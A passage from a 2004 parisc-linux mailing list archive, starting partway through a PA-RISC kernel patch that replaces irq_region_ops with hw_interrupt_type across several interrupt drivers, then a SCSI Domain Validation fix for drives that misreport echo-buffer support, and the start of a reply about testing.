+	.enable		= dino_enable_irq, 
 };
 
 
@@ -842,8 +830,8 @@ static int __init dino_common_init(struc
 	** Tell generic interrupt support we have 11 bits which need
 	** be checked in the interrupt handler.
 	*/
-	dino_dev->dino_region = alloc_irq_region(DINO_IRQS, &dino_irq_ops,
-						name, dino_dev);
+	dino_dev->dino_region = alloc_irq_region(DINO_IRQS,
+						&dino_interrupt_type, dino_dev);
 
 	if (NULL == dino_dev->dino_region) {
 		printk(KERN_WARNING "%s: alloc_irq_region() failed\n", name);
Index: drivers/parisc/eisa.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/eisa.c,v
retrieving revision 1.8
diff -u -p -r1.8 eisa.c
--- drivers/parisc/eisa.c	6 Dec 2004 14:35:23 -0000	1.8
+++ drivers/parisc/eisa.c	30 Dec 2004 18:18:40 -0000
@@ -29,7 +29,7 @@
 
 #include <linux/init.h>
 #include <linux/ioport.h>
-#include <linux/irq.h>
+#include <linux/interrupt.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
 #include <linux/pci.h>
@@ -142,7 +142,7 @@ static unsigned int eisa_irq_level; /* d
 
 
 /* called by free irq */
-static void eisa_disable_irq(void *irq_dev, int irq)
+static void eisa_disable_irq(unsigned int irq)
 {
 	unsigned long flags;
 
@@ -162,7 +162,7 @@ static void eisa_disable_irq(void *irq_d
 }
 
 /* called by request irq */
-static void eisa_enable_irq(void *irq_dev, int irq)
+static void eisa_enable_irq(unsigned int irq)
 {
 	unsigned long flags;
 	EISA_DBG("enable irq %d\n", irq);
@@ -182,13 +182,18 @@ static void eisa_enable_irq(void *irq_de
 
 static struct irqaction action[IRQ_PER_REGION];
 
+static struct hw_interrupt_type eisa_interrupt_type = {
+	.typename =	"EISA",
+	.disable =	eisa_disable_irq,
+	.enable =	eisa_enable_irq,
+};
+
 /* EISA needs to be fixed at IRQ region #0 (EISA_IRQ_REGION) */
 static struct irq_region eisa_irq_region = {
-	.ops	= {
-		.disable_irq = eisa_disable_irq,
-		.enable_irq = eisa_enable_irq
+	.type	= &eisa_interrupt_type,
+	.data	= {
+		.irqbase = 0
 	},
-	.data	= { .name = "EISA", .irqbase = 0 },
 	.action	= action,
 };
 
Index: drivers/parisc/gsc.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/gsc.c,v
retrieving revision 1.4
diff -u -p -r1.4 gsc.c
--- drivers/parisc/gsc.c	6 Dec 2004 14:35:23 -0000	1.4
+++ drivers/parisc/gsc.c	30 Dec 2004 18:18:40 -0000
@@ -109,30 +109,33 @@ irqreturn_t busdev_barked(int busdev_irq
 	return IRQ_HANDLED;
 }
 
-static void
-busdev_disable_irq(void *irq_dev, int irq)
+static void gsc_asic_disable_irq(unsigned int irq_handle)
 {
+	struct irq_region *region = irq_region[IRQ_REGION(irq_handle)];
+	struct busdevice *irq_dev = region->data.dev;
+	int irq = IRQ_OFFSET(irq_handle);
 	/* Disable the IRQ line by clearing the bit in the IMR */
-	u32 imr = gsc_readl(BUSDEV_DEV(irq_dev)->hpa+OFFSET_IMR);
-	imr &= ~(GSC_MASK_IRQ(irq));
+	u32 imr = gsc_readl(irq_dev->hpa + OFFSET_IMR);
+	imr &= ~GSC_MASK_IRQ(irq);
 
 	DEBPRINTK( KERN_WARNING "%s(%p, %d) %s: IMR 0x%x\n", 
 		    __FUNCTION__, irq_dev, irq, BUSDEV_DEV(irq_dev)->name, imr);
 
-	gsc_writel(imr, BUSDEV_DEV(irq_dev)->hpa+OFFSET_IMR);
+	gsc_writel(imr, irq_dev->hpa + OFFSET_IMR);
 }
 
-
-static void
-busdev_enable_irq(void *irq_dev, int irq)
+static void gsc_asic_enable_irq(unsigned int irq_handle)
 {
+	struct irq_region *region = irq_region[IRQ_REGION(irq_handle)];
+	struct busdevice *irq_dev = region->data.dev;
+	int irq = IRQ_OFFSET(irq_handle);
 	/* Enable the IRQ line by setting the bit in the IMR */
-	unsigned long addr = BUSDEV_DEV(irq_dev)->hpa + OFFSET_IMR;
+	unsigned long addr = irq_dev->hpa + OFFSET_IMR;
 	u32 imr = gsc_readl(addr);
 	imr |= GSC_MASK_IRQ(irq);
 
 	DEBPRINTK (KERN_WARNING "%s(%p, %d) %s: IMR 0x%x\n", 
-		    __FUNCTION__, irq_dev, irq, BUSDEV_DEV(irq_dev)->name, imr);
+		    __FUNCTION__, irq_dev, irq, irq_dev->name, imr);
 
 	gsc_writel(imr, addr);
 //	gsc_writel(~0L, addr);
@@ -142,9 +145,10 @@ busdev_enable_irq(void *irq_dev, int irq
 */
 }
 
-struct irq_region_ops busdev_irq_ops = {
-	.disable_irq =	busdev_disable_irq,
-	.enable_irq =	busdev_enable_irq,
+struct hw_interrupt_type gsc_asic_interrupt_type = {
+	.typename =	"GSC-ASIC",
+	.disable =	gsc_asic_disable_irq,
+	.enable =	gsc_asic_enable_irq,
 };
 
 
@@ -155,8 +159,8 @@ int gsc_common_irqsetup(struct parisc_de
 	busdev->gsc = parent;
 
 	/* the IRQs we simulate */
-	busdev->busdev_region = alloc_irq_region(32, &busdev_irq_ops,
-						 busdev->name, busdev);
+	busdev->busdev_region = alloc_irq_region(32, &gsc_asic_interrupt_type,
+						 busdev);
 	if (!busdev->busdev_region)
 		return -ENOMEM;
 
Index: drivers/parisc/iosapic.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/iosapic.c,v
retrieving revision 1.12
diff -u -p -r1.12 iosapic.c
--- drivers/parisc/iosapic.c	6 Dec 2004 14:35:23 -0000	1.12
+++ drivers/parisc/iosapic.c	30 Dec 2004 18:18:41 -0000
@@ -91,7 +91,7 @@
 ** One IRQ number represents both an IRQ line and a driver ISR.
 ** The I/O sapic driver can't manage shared IRQ lines because
 ** additional data besides the IRQ number must be passed via
-** irq_region_ops. do_irq() and request_irq() must manage
+** hw_interrupt_type. do_irq() and request_irq() must manage
 ** a sharing a bit in the mask.
 **
 ** iosapic_interrupt() replaces do_irq_mask() and calls do_irq().
@@ -768,15 +768,15 @@ iosapic_set_irt_data( struct vector_info
 }
 
 
-static void
-iosapic_disable_irq(void *irq_dev, int irq)
+static void iosapic_disable_irq(unsigned int irq_handle)
 {
 	unsigned long flags;
-	struct vector_info *vi = &(((struct vector_info *) irq_dev)[irq]);
+	struct irq_region *region = irq_region[IRQ_REGION(irq_handle)];
+	int irq = IRQ_OFFSET(irq_handle);
+	struct vector_info *isi_vector = region->data.dev;
+	struct vector_info *vi = isi_vector + irq;
 	u32 d0, d1;
 
-	BUG_ON(!vi);
-
 	spin_lock_irqsave(&iosapic_lock, flags);
 
 #ifdef REVISIT_DESIGN_ISSUE
@@ -812,10 +812,12 @@ Need more info on how Linux supports sha
 }
 
 
-static void
-iosapic_enable_irq(void *dev, int irq)
+static void iosapic_enable_irq(unsigned int irq_handle)
 {
-	struct vector_info *vi = &(((struct vector_info *) dev)[irq]);
+	struct irq_region *region = irq_region[IRQ_REGION(irq_handle)];
+	int irq = IRQ_OFFSET(irq_handle);
+	struct vector_info *isi_vector = region->data.dev;
+	struct vector_info *vi = isi_vector + irq;
 	u32 d0, d1;
 
 	/* data is initialized by fixup_irq */
@@ -856,9 +858,10 @@ printk("\n");
 }
 
 
-static struct irq_region_ops iosapic_irq_ops = {
-	.disable_irq =	iosapic_disable_irq,
-	.enable_irq =	iosapic_enable_irq,
+static struct hw_interrupt_type iosapic_interrupt_type = {
+	.typename =	"IO-SAPIC-level",
+	.disable =	iosapic_disable_irq,
+	.enable =	iosapic_enable_irq,
 };
 
 
@@ -946,8 +949,7 @@ iosapic_register(unsigned long hpa)
 	}
 
 	isi->isi_region = alloc_irq_region(isi->isi_num_vectors,
-				&iosapic_irq_ops, isi->isi_name,
-				(void *) isi->isi_vector);
+				&iosapic_interrupt_type, isi->isi_vector);
 
 	WARN_ON(isi->isi_region == NULL);
 	return ((void *) isi);
Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.14
diff -u -p -r1.14 superio.c
--- drivers/parisc/superio.c	6 Dec 2004 14:35:23 -0000	1.14
+++ drivers/parisc/superio.c	30 Dec 2004 18:18:41 -0000
@@ -280,9 +280,9 @@ superio_init(struct superio_device *sio)
 }
 
 
-static void
-superio_disable_irq(void *dev, int local_irq)
+static void superio_disable_irq(unsigned int irq_handle)
 {
+	int local_irq = IRQ_OFFSET(irq_handle);
 	u8 r8;
 
 	if ((local_irq < 1) || (local_irq == 2) || (local_irq > 7)) {
@@ -298,9 +298,9 @@ superio_disable_irq(void *dev, int local
 	outb (r8,IC_PIC1+1);
 }
 
-static void
-superio_enable_irq(void *dev, int local_irq)
+static void superio_enable_irq(unsigned int irq_handle)
 {
+	int local_irq = IRQ_OFFSET(irq_handle);
 	u8 r8;
 
 	if ((local_irq < 1) || (local_irq == 2) || (local_irq > 7)) {
@@ -316,9 +316,10 @@ superio_enable_irq(void *dev, int local_
 }
 
 
-static struct irq_region_ops superio_irq_ops = {
-	.disable_irq =	superio_disable_irq,
-	.enable_irq =	superio_enable_irq,
+static struct hw_interrupt_type superio_interrupt_type = {
+	.typename =	"SuperIO",
+	.disable =	superio_disable_irq,
+	.enable =	superio_enable_irq,
 };
 
 #ifdef DEBUG_SUPERIO_INIT
@@ -351,8 +352,8 @@ int superio_fixup_irq(struct pci_dev *pc
 	if (!sio_dev.irq_region) {
 		/* Allocate an irq region for SuperIO devices */
 		sio_dev.irq_region = alloc_irq_region(SUPERIO_NIRQS,
-						&superio_irq_ops,
-						"SuperIO", (void *) &sio_dev);
+						&superio_interrupt_type,
+						&sio_dev);
 		if (!sio_dev.irq_region) {
 			printk(KERN_WARNING "SuperIO: alloc_irq_region failed\n");
 			return -1;
Index: include/asm-parisc/hardirq.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/hardirq.h,v
retrieving revision 1.3
diff -u -p -r1.3 hardirq.h
--- include/asm-parisc/hardirq.h	29 Nov 2004 19:56:44 -0000	1.3
+++ include/asm-parisc/hardirq.h	30 Dec 2004 18:18:43 -0000
@@ -18,11 +18,10 @@
 #include <linux/config.h>
 #include <linux/threads.h>
 #include <linux/cache.h>
+#include <linux/irq.h>
 
 typedef struct {
 	unsigned long __softirq_pending; /* set_bit is used on this */
-	unsigned int __syscall_count;
-	struct task_struct * __ksoftirqd_task;
 	unsigned long idle_timestamp;
 } ____cacheline_aligned irq_cpustat_t;
 
@@ -31,20 +30,19 @@ typedef struct {
 #define HARDIRQ_BITS	16
 
 /*
- * The hardirq mask has to be large enough to have space for potentially all IRQ sources
- * in the system nesting on a single CPU:
+ * The hardirq mask has to be large enough to have space for potentially all
+ * IRQ sources in the system nesting on a single CPU:
  */
 #if (1 << HARDIRQ_BITS) < NR_IRQS
 # error HARDIRQ_BITS is too low!
 #endif
 
-#define irq_enter()		(preempt_count() += HARDIRQ_OFFSET)
-#define irq_exit()								\
-do {										\
-		preempt_count() -= IRQ_EXIT_OFFSET;				\
-		if (!in_interrupt() && softirq_pending(smp_processor_id()))	\
-			do_softirq();						\
-		preempt_enable_no_resched();					\
+#define irq_enter()	(preempt_count() += HARDIRQ_OFFSET)
+#define irq_exit()	do {						     \
+		preempt_count() -= IRQ_EXIT_OFFSET;			     \
+		if (!in_interrupt() && softirq_pending(smp_processor_id()))  \
+			do_softirq();					     \
+		preempt_enable_no_resched();				     \
 } while (0)
 
 #endif /* _PARISC_HARDIRQ_H */
Index: include/asm-parisc/irq.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/irq.h,v
retrieving revision 1.5
diff -u -p -r1.5 irq.h
--- include/asm-parisc/irq.h	6 Dec 2004 14:35:23 -0000	1.5
+++ include/asm-parisc/irq.h	30 Dec 2004 18:18:43 -0000
@@ -11,14 +11,13 @@
 #ifndef _ASM_PARISC_IRQ_H
 #define _ASM_PARISC_IRQ_H
 
+#include <linux/string.h>
+#include <linux/config.h>
+
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/errno.h>
 
-#include <linux/string.h>
-#include <linux/interrupt.h>
-#include <linux/config.h>
-
 #define NO_IRQ	(-1)
 
 #define CPU_IRQ_REGION		1
@@ -45,22 +44,15 @@
 #define EISA_IRQ_REGION		0 /* region 0 needs to be reserved for EISA */
 #define EISA_MAX_IRQS		16 /* max. (E)ISA irq line */
 
-struct irq_region_ops {
-	void (*disable_irq)(void *dev, int irq);
-	void (* enable_irq)(void *dev, int irq);
-};
-
 struct irq_region_data {
 	void *dev;
-	const char *name;
 	int irqbase;
 	unsigned int status[IRQ_PER_REGION]; /* IRQ status */
 };
 
 struct irq_region {
-	struct irq_region_ops ops;
+	struct hw_interrupt_type *type;
 	struct irq_region_data data;

From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Thu, 30 Dec 2004 11:04:00 -0600
Lines: 217
Approved: news@gmane.org
Message-ID: <1104426241.5268.30.camel@mulgrave>
References: <200412260504.40205.vapier@gentoo.org>
	<200412291649.29411.vapier@gentoo.org>
	<1104359873.5298.25.camel@mulgrave>
	<200412291816.19157.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624521 26582 80.91.229.3 (22 Nov 2014 02:48:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:41 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 17:05:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 30 Dec 2004 18:05:12 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E8E113BE66; Thu, 30 Dec 2004 10:05:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29338-01; Thu, 30 Dec 2004 10:04:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3A8673BE56; Thu, 30 Dec 2004 10:04:32 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3ADBD3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 10:04:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27978-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 10:04:17 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E061B3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 10:04:16 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 8FEE64957B1; Thu, 30 Dec 2004 10:04:16 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP id 17EFE495692
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Dec 2004 10:04:16 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iBUH46F10448; Thu, 30 Dec 2004 12:04:06 -0500
In-Reply-To: <200412291816.19157.vapier@gentoo.org>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25062

On Wed, 2004-12-29 at 18:16 -0500, Mike Frysinger wrote:
> added verbose scsi debugging and the patch

OK, this definitely shows that the WD drive is lying about having a
writable echo buffer.

Could you reverse all the previous patches in scsi_transport_spi.c and
apply the attached.  I hope it will detect the write buffer problem and
fall back to doing DV configuration using the read only tests, so your
drive should configure at the maximum rate for the 875.

Thanks,

James

===== drivers/scsi/scsi_transport_spi.c 1.21 vs edited =====
--- 1.21/drivers/scsi/scsi_transport_spi.c	2004-12-06 14:51:40 -06:00
+++ edited/drivers/scsi/scsi_transport_spi.c	2004-12-30 10:07:02 -06:00
@@ -31,6 +31,7 @@
 #include <scsi/scsi_device.h>
 #include <scsi/scsi_host.h>
 #include <scsi/scsi_request.h>
+#include <scsi/scsi_eh.h>
 #include <scsi/scsi_transport.h>
 #include <scsi/scsi_transport_spi.h>
 
@@ -378,10 +379,16 @@
 #define DV_RETRIES	3	/* should only need at most 
 				 * two cc/ua clears */
 
+enum spi_compare_returns {
+	SPI_COMPARE_SUCCESS,
+	SPI_COMPARE_FAILURE,
+	SPI_COMPARE_SKIP_TEST,
+};
+
 
 /* This is for read/write Domain Validation:  If the device supports
  * an echo buffer, we do read/write tests to it */
-static int
+static enum spi_compare_returns
 spi_dv_device_echo_buffer(struct scsi_request *sreq, u8 *buffer,
 			  u8 *ptr, const int retries)
 {
@@ -438,9 +445,23 @@
 		scsi_wait_req(sreq, spi_write_buffer, buffer, len,
 			      DV_TIMEOUT, DV_RETRIES);
 		if(sreq->sr_result || !scsi_device_online(sdev)) {
+			struct scsi_sense_hdr sshdr;
+
 			scsi_device_set_state(sdev, SDEV_QUIESCE);
+			if (scsi_request_normalize_sense(sreq, &sshdr)
+			    && sshdr.sense_key == ILLEGAL_REQUEST
+			    /* INVALID FIELD IN CDB */
+			    && sshdr.asc == 0x24 && sshdr.ascq == 0x00)
+				/* This would mean that the drive lied
+				 * to us about supporting an echo
+				 * buffer (unfortunately some Western
+				 * Digital drives do precisely this)
+				 */
+				return SPI_COMPARE_SKIP_TEST;
+
+
 			SPI_PRINTK(sdev->sdev_target, KERN_ERR, "Write Buffer failure %x\n", sreq->sr_result);
-			return 0;
+			return SPI_COMPARE_FAILURE;
 		}
 
 		memset(ptr, 0, len);
@@ -453,12 +474,12 @@
 		if (memcmp(buffer, ptr, len) != 0)
 			return 0;
 	}
-	return 1;
+	return SPI_COMPARE_SUCCESS;
 }
 
 /* This is for the simplest form of Domain Validation: a read test
  * on the inquiry data from the device */
-static int
+static enum spi_compare_returns
 spi_dv_device_compare_inquiry(struct scsi_request *sreq, u8 *buffer,
 			      u8 *ptr, const int retries)
 {
@@ -493,24 +514,28 @@
 
 		if (memcmp(buffer, ptr, len) != 0)
 			/* failure */
-			return 0;
+			return SPI_COMPARE_FAILURE;
 	}
-	return 1;
+	return SPI_COMPARE_SUCCESS;
 }
 
-static int
+static enum spi_compare_returns
 spi_dv_retrain(struct scsi_request *sreq, u8 *buffer, u8 *ptr,
-	       int (*compare_fn)(struct scsi_request *, u8 *, u8 *, int))
+	       enum spi_compare_returns 
+	       (*compare_fn)(struct scsi_request *, u8 *, u8 *, int))
 {
 	struct spi_internal *i = to_spi_internal(sreq->sr_host->transportt);
 	struct scsi_device *sdev = sreq->sr_device;
 	int period = 0, prevperiod = 0; 
+	enum spi_compare_returns retval;
 
 
 	for (;;) {
 		int newperiod;
-		if (compare_fn(sreq, buffer, ptr, DV_LOOPS))
-			/* Successful DV */
+		retval = compare_fn(sreq, buffer, ptr, DV_LOOPS);
+
+		if (retval == SPI_COMPARE_SUCCESS
+		    || retval == SPI_COMPARE_SKIP_TEST)
 			break;
 
 		/* OK, retrain, fallback */
@@ -527,13 +552,13 @@
 			/* Total failure; set to async and return */
 			SPI_PRINTK(sdev->sdev_target, KERN_ERR, "Domain Validation Failure, dropping back to Asynchronous\n");
 			DV_SET(offset, 0);
-			return 0;
+			return SPI_COMPARE_FAILURE;
 		}
 		SPI_PRINTK(sdev->sdev_target, KERN_ERR, "Domain Validation detected failure, dropping back\n");
 		DV_SET(period, period);
 		prevperiod = period;
 	}
-	return 1;
+	return retval;
 }
 
 static int
@@ -599,7 +624,8 @@
 	DV_SET(offset, 0);
 	DV_SET(width, 0);
 	
-	if (!spi_dv_device_compare_inquiry(sreq, buffer, buffer, DV_LOOPS)) {
+	if (spi_dv_device_compare_inquiry(sreq, buffer, buffer, DV_LOOPS)
+	    != SPI_COMPARE_SUCCESS) {
 		SPI_PRINTK(sdev->sdev_target, KERN_ERR, "Domain Validation Initial Inquiry Failed\n");
 		/* FIXME: should probably offline the device here? */
 		return;
@@ -609,9 +635,10 @@
 	if (i->f->set_width && sdev->wdtr) {
 		i->f->set_width(sdev->sdev_target, 1);
 
-		if (!spi_dv_device_compare_inquiry(sreq, buffer,
+		if (spi_dv_device_compare_inquiry(sreq, buffer,
 						   buffer + len,
-						   DV_LOOPS)) {
+						   DV_LOOPS)
+		    != SPI_COMPARE_SUCCESS) {
 			SPI_PRINTK(sdev->sdev_target, KERN_ERR, "Wide Transfers Fail\n");
 			i->f->set_width(sdev->sdev_target, 0);
 		}
@@ -624,31 +651,39 @@
 	if(!sdev->ppr && !sdev->sdtr)
 		return;
 
-	/* now set up to the maximum */
-	DV_SET(offset, 255);
-	DV_SET(period, 1);
-	if (!spi_dv_retrain(sreq, buffer, buffer + len,
-			    spi_dv_device_compare_inquiry))
-		return;
-
-	/* OK, now we have our initial speed set by the read only inquiry
-	 * test, now try an echo buffer test (if the device allows it) */
+	/* see if the device has an echo buffer.  If it does we can
+	 * do the SPI pattern write tests */
 
 	len = 0;
 	if (sdev->ppr)
 		len = spi_dv_device_get_echo_buffer(sreq, buffer);
 
+ retry:
+
+	/* now set up to the maximum */
+	DV_SET(offset, 255);
+	DV_SET(period, 1);
+
 	if (len == 0) {
 		SPI_PRINTK(sdev->sdev_target, KERN_INFO, "Domain Validation skipping write tests\n");
+		spi_dv_retrain(sreq, buffer, buffer + len,
+			       spi_dv_device_compare_inquiry);
 		return;
 	}
+
 	if (len > SPI_MAX_ECHO_BUFFER_SIZE) {
 		SPI_PRINTK(sdev->sdev_target, KERN_WARNING, "Echo buffer size %d is too big, trimming to %d\n", len, SPI_MAX_ECHO_BUFFER_SIZE);
 		len = SPI_MAX_ECHO_BUFFER_SIZE;
 	}
 
-	spi_dv_retrain(sreq, buffer, buffer + len,
-		       spi_dv_device_echo_buffer);
+	if (spi_dv_retrain(sreq, buffer, buffer + len,
+			   spi_dv_device_echo_buffer)
+	    == SPI_COMPARE_SKIP_TEST) {
+		/* OK, the stupid drive can't do a write echo buffer
+		 * test after all, fall back to the read tests */
+		len = 0;
+		goto retry;
+	}
 }
 
 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Remove irq_region_ops
Date: Thu, 30 Dec 2004 19:48:16 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <41D45B80.2040807@tiscali.be>
References: <20041230184520.GA18080@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624522 26583 80.91.229.3 (22 Nov 2014 02:48:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:45 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Dec 2004 19:49:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx068) with SMTP; 30 Dec 2004 20:49:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2B9823BE53; Thu, 30 Dec 2004 12:49:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30059-06; Thu, 30 Dec 2004 12:49:08 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C999C3BE63; Thu, 30 Dec 2004 12:48:36 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 051D33BE53
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 12:48:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30059-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 12:48:29 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id F137B3BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 30 Dec 2004 12:48:28 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 91C3D4957B1; Thu, 30 Dec 2004 12:48:28 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP id 40F26495692
	for <parisc-linux@parisc-linux.org>;
	Thu, 30 Dec 2004 12:48:28 -0700 (MST)
Original-Received: from [83.134.225.43] (helo=[83.134.225.43])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Ck6HR-0006Zn-D2; Thu, 30 Dec 2004 20:48:20 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <20041230184520.GA18080@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25063



Matthew Wilcox wrote:
[...]
> 
> Tested on a 725, mostly with Lasi-based devices.  It'd be nice if someone
> tested this on an IOSAPIC-based machine (eg a500/b2000/n4000/j7000/c8000)

